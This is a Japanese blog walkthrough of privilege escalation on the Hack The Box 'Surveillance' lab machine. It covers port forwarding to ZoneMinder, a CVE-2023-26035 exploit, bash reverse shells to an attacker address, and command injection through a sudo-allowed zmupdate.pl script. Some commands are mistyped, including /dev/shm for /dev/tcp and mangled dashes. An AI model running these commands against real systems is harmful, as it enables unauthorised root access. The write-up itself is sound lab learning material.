LoginSignup
1
0

Hack The Box Surveillance Write up 2 日本語(Privilege Escalation)

Posted at

Privilege Escalation

こんにちは、Gaijineer「Gaijin + enjineer」のハサンです。

前回は HackTheBox の Mediumマシンである「Surveillance」のuser flag 取得まで載せましたが、今回は、root flagを取得するWalkthroughを投稿します。

前回の続きです。

先にsshを使ってlinpeasをダウンロードします。そして、systemのすべての概要を把握するためlinpeas実行します。
1.png
実行結果を見ると、なんかパスワードがあります。あとで使えそうですね。
2.png
また、ポート8080で何かが動いていることに気づいたので、sshでローカルポート転送を行います。
下記のコマンドを使用します。

ssh -L 8080:127.0.0.1:8080 matthew@<target ip>

上記のコマンドざっくり説明すると以下になります。

  • ssh : このコマンドは、リモート・サーバーとの安全なシェル接続を確立するために使用します。
  • -L 8080:127.0.0.1:8080 : ローカルポート転送を設定する。これはSSHにローカルマシン(127.0.0.1)の8080番ポートをlistenし、SSHトンネルを通してターゲットマシンの8080番ポートに接続を転送するように指示します。
  • matthew@target ip> : 接続先のユーザー名とIPアドレスを指定する。
    下記のように実行します。

3.png

ローカルのポート転送を通して、ZoneMinderのログインページがポート8080で実行されていることがわかりました。これまで見つけたすべてのパスワードとユーザーを試してみましたが、ログインに成功することは出来ませんでした。

4.png

そこで、/usr/share/zoneminderでさらに情報を探してみます。すると、/usr/share/zoneminder/www/api/app/ConfigにZoneMinderのバージョンがあり、それは1.36.32です。
このディレクトリにあるすべてのファイルで同時に「バージョン」という単語を検索するコマンドを使ったところ、すぐにバージョンを見つけることができました。下記のコマンド使用しました。

cat * | grep -i version

5.png

それからZoneMinder 1.36.32のエクスプロイトをググってみると、脆弱性CVE-2023-26035のスクリプトが見つかった。

6.png

下記のheapbytesのスクリプトは私の場合うまく行きました。
7.png

上記のスクリプトでreverse-shellを取得するには、スクリプトがページにアクセスできるように、ローカルでポート転送を済ませておく必要があります。

python3 poc.py –target http://127.0.0.1:8080/ –cmd 'bash -c "bash -i >& /dev/shm/<attacker ip>/<listening port> 0>&1"'

8.png

これで私はzoneminderというユーザーとなりました、パスワードなしでsudoを使ってコマンドを実行できるようになりました。このコマンドはそれほど "厳密 "ではないので、これを使ってrootユーザーになることも可能です。

9.png

dev/shmでもいいのだが、/tmpディレクトリにreverse-shellファイルを作りました。ファイル名はshell.shとしました。
ファイルを作成して書き込んだ後、permissionを700に変更し、ファイルの作成者である現在のユーザーだけが読み取り、書き込み、実行権限を持つようにしました。

#!/bin/bash
bash -i >& /dev/tcp/<attacker ip>/<listening por> 0>&1

10.png

私が実行しなければならないsudoコマンドには、特定のファイルは指定されていない。ただ、.plで終わり、"zm "で始まらなければならない。これを利用するために、私はzmupdate.plを使っています。

11.png

以下のコマンドは、reverse-shellを受け取るリスナーを指定した後に実行しました。

sudo /usr/bin/zmupdate.pl –version=1 –user='$(/tmp/shell.sh)' pass=ZoneMinderPassword2023
  • sudo : これはUnix系OSで使われるコマンドで、許可されたユーザーがスーパーユーザーや他のユーザーとしてコマンドを実行できるようにするものです。
  • /usr/bin/zmupdate.pl : これは/usr/binディレクトリにあるPerlスクリプトzmupdate.plへのパスです。
  • –version=1 : これは更したい ZoneMinder のバージョンを指定します。バージョン 1 に設定されています。
  • –user=’$(/tmp/shell.sh)’ : これは、ZoneMinder 更新プロセスのユーザを指定します。ユーザ名を動的に指定するために、/tmpディレクトリにあるshell.shというシェルスクリプトを呼び出しています。
  • –pass=ZoneMinderPassword2023 : ZoneMinder 更新プロセスのパスワードを指定します。ZoneMinderPassword2023に設定されています。

12.png

コマンドを実行した後、プログラムの指示に従い、"y "でバックアップを取った後、rootとしてreverse-shellを取得しました。

13.png
14.png

それではroot権限取得後、root flagをゲットします。
以上です。
ここまで読んで頂いてありがとうございます。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0